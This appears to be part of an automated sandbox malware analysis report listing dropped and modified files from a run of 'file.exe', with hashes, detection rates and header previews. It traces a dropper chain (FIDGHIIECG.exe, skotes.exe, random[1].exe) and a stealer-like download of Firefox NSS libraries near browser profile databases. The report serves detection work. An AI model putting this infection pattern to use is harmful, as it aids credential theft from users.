SHA-512:	726AC40A2EF130AB2758CC5CBCCB2CCF5050534035E4B7E353285070C97FFD33E63C77FF1E4FC8A5C77C37B8A5A4C626BCA614AD9D83F04555410C495D7D93F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f7a30c1e-81eb-4b68-9c6b-fed2010d1582.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44687
Entropy (8bit):	6.094644258922663
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdEKKGf4ULmqjgjEFtdLN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynpN7VLyMV/YoskFoz
MD5:	903EE16BED3FD249DC1C85BE8E6BFCAB
SHA1:	4566799F9E873AD96727B9BACA3EBCCC8CFF97C2
SHA-256:	E4C9B8FB016263C3AEB9229A69AAE012AA1A3A59A13298C7F39035BD1F5AE6B6
SHA-512:	1ED6492486601401459D14676AD48575C7762F405D8A538EB986B7BB6B847F1B4D6B15FFCA1FDC50FB6860B292FABC845E50388572296D24AE03DB73155AB853
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f9de4eb6-90fa-4484-b3d8-9609bc6d1e63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44722
Entropy (8bit):	6.09538213900257
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4ktEKKGf4ULmkC2sP7htt3N7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7ynmN7VLyMV/YoskFoz
MD5:	96069F5D1301F1182BE3B9E2BA0E975D
SHA1:	27B539BD284F942B0D6EAF22A30AD1C1EB1C68EC
SHA-256:	194B7ED1FB112EA4E6E9764860A7E9E5230A79535A5DF9FC328D75B0A7ED176B
SHA-512:	B7886FBB61FD5A21A8E2E9E2323CB0E614882F5A6FD9C58205A25B8268AE0CEE000532CA7E3791261950ABCA28D1AC959B0A41FF799C362F234B4A516AE63F6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.944072569309637
Encrypted:	false
SSDEEP:	24576:jpMUz6Fm5m4eNj9mhY4W6Hs8DGjJZpxp/uduzElpxxRWpeO0NUf5YVOOFoYYa4WV:dV2frmG4Z7SVw2ElpxtDNaOixaj3
MD5:	5FB2B7580911F21BBB4796C243F64201
SHA1:	749B297F4236E65C1537E0D78F338A703FE5FC17
SHA-256:	249CE266ACAB1C44290FC30A908803FFD4E15EBFB49A86934A6B1C7F8E87D7B9
SHA-512:	C2FD8AFE879C1A8D4B3F35A1634ED5D30447B07BBFEFA3E583EBD9B2CEBFCD6F97FAAFD72CA39930C2FA66A996742BBB489DCC8E12C15DBA861866CAB889AE3A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg..............................I...........@.......................... J......W....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... ..*..@.......H..............@...phqbfzqh. ..../......J..............@...iuiexkhc......I......d..............@....taggant.0....I.."...j..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1798656
Entropy (8bit):	7.945332153087474
Encrypted:	false
SSDEEP:	49152:8pyxKeIy39ypo00pfrDQiC765nUjenUPU6ctbo4C:8pylA2prDQkUynYctb
MD5:	E3DFBE72DE430B4043393FB8FF8E2384
SHA1:	47FC80752FA0339680A1B3CB3D4B1BA5D0A502C5
SHA-256:	2A78168B664E599C73FAE2FB2F42C2198A7EB21453F8125E8393CDE02129E101
SHA-512:	E9B40A49F868E2C36D706B4075B538D243F9E844CB0169985C3F03FE7DD0D60AEC28374A2A1CA5C473EFA9237F867E371F746E752ECF75C3C1C8F56E60C4A461
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(....... i...........@..........................Pi.....+.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... ..*...$......\|..............@...fwbluwmq.....@O......~..............@...dvjbilhj......i......L..............@....taggant.0... i.."...P..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3189760
Entropy (8bit):	6.657181704462886
Encrypted:	false
SSDEEP:	49152:O7SbZvl/c4t4L2agJhXhI759UomVfm8RZsF:O7SbZvl/c4tRazd9TmVuWZsF
MD5:	071FD9342E197AB323E93E0395FADBD0
SHA1:	23BAC802089AF599DE74F3F43C82319BAD647A53
SHA-256:	4B06B24B08B2B0A529474760B14024946D20D1C33B2CE78EA954A0B869E6D9CB
SHA-512:	ABCAABF8532249F2244E2C31727FEA6060B8AADF8897A508102C10F0A432F0E221A7117336D852E34473EEF66F343013DE6498F8E5A7D84F2DA0E9D8FE7A436A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0......61...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...iznludpw..).......).................@...zwkotnfl......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3695663929176805
Encrypted:	false
SSDEEP:	48:SfNaoQoOjTEQo1fNaoQmVhV7QmVmfNaoQRbQnfNaoQ/Zf0UrU0U8Q/C:6NnQoOjTEQohNnQmVhV7QmVONnQJQfNg
MD5:	9B0DEBBE558709F24F4EE091590260EF
SHA1:	3B72C7C2AE59F3A8B53CC0274A282C3DFE436F92
SHA-256:	BF564E0C78F604688E70D689A8EADEF057F19E8E44D44E67C108F2F55DE3F038
SHA-512:	225F2D9F900AE04C1EAA9038FFDE705AD3434B40F00405F178C362D7ECA25087D55EA73F2D0E8F3E93C56BB7A4AB2B078B86B2451E77FDE553AA90E9FBF44EC1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8D7AD8772EF881634883454801518252",.. "id": "8D7AD8772EF881634883454801518252",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8D7AD8772EF881634883454801518252"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/21A35CA255C31E25DE34AE53B6860577",.. "id": "21A35CA255C31E25DE34AE53B6860577",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/21A35CA255C31E25DE34AE53B6860577"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.944072569309637
Encrypted:	false
SSDEEP:	24576:jpMUz6Fm5m4eNj9mhY4W6Hs8DGjJZpxp/uduzElpxxRWpeO0NUf5YVOOFoYYa4WV:dV2frmG4Z7SVw2ElpxtDNaOixaj3
MD5:	5FB2B7580911F21BBB4796C243F64201
SHA1:	749B297F4236E65C1537E0D78F338A703FE5FC17
SHA-256:	249CE266ACAB1C44290FC30A908803FFD4E15EBFB49A86934A6B1C7F8E87D7B9
SHA-512:	C2FD8AFE879C1A8D4B3F35A1634ED5D30447B07BBFEFA3E583EBD9B2CEBFCD6F97FAAFD72CA39930C2FA66A996742BBB489DCC8E12C15DBA861866CAB889AE3A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg..............................I...........@.......................... J......W....@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... ..*..@.......H..............@...phqbfzqh. ..../......J..............@...iuiexkhc......I......d..............@....taggant.0....I.."...j..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1798656
Entropy (8bit):	7.945332153087474
Encrypted:	false
SSDEEP:	49152:8pyxKeIy39ypo00pfrDQiC765nUjenUPU6ctbo4C:8pylA2prDQkUynYctb
MD5:	E3DFBE72DE430B4043393FB8FF8E2384
SHA1:	47FC80752FA0339680A1B3CB3D4B1BA5D0A502C5
SHA-256:	2A78168B664E599C73FAE2FB2F42C2198A7EB21453F8125E8393CDE02129E101
SHA-512:	E9B40A49F868E2C36D706B4075B538D243F9E844CB0169985C3F03FE7DD0D60AEC28374A2A1CA5C473EFA9237F867E371F746E752ECF75C3C1C8F56E60C4A461
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(....... i...........@..........................Pi.....+.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... ..*...$......\|..............@...fwbluwmq.....@O......~..............@...dvjbilhj......i......L..............@....taggant.0... i.."...P..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\FIDGHIIECG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3189760
Entropy (8bit):	6.657181704462886
Encrypted:	false
SSDEEP:	49152:O7SbZvl/c4t4L2agJhXhI759UomVfm8RZsF:O7SbZvl/c4tRazd9TmVuWZsF
MD5:	071FD9342E197AB323E93E0395FADBD0
SHA1:	23BAC802089AF599DE74F3F43C82319BAD647A53
SHA-256:	4B06B24B08B2B0A529474760B14024946D20D1C33B2CE78EA954A0B869E6D9CB
SHA-512:	ABCAABF8532249F2244E2C31727FEA6060B8AADF8897A508102C10F0A432F0E221A7117336D852E34473EEF66F343013DE6498F8E5A7D84F2DA0E9D8FE7A436A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0......61...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...iznludpw..).......).................@...zwkotnfl......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\FIDGHIIECG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3189760
Entropy (8bit):	6.657181704462886
Encrypted:	false
SSDEEP:	49152:O7SbZvl/c4t4L2agJhXhI759UomVfm8RZsF:O7SbZvl/c4tRazd9TmVuWZsF
MD5:	071FD9342E197AB323E93E0395FADBD0
SHA1:	23BAC802089AF599DE74F3F43C82319BAD647A53
SHA-256:	4B06B24B08B2B0A529474760B14024946D20D1C33B2CE78EA954A0B869E6D9CB
SHA-512:	ABCAABF8532249F2244E2C31727FEA6060B8AADF8897A508102C10F0A432F0E221A7117336D852E34473EEF66F343013DE6498F8E5A7D84F2DA0E9D8FE7A436A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
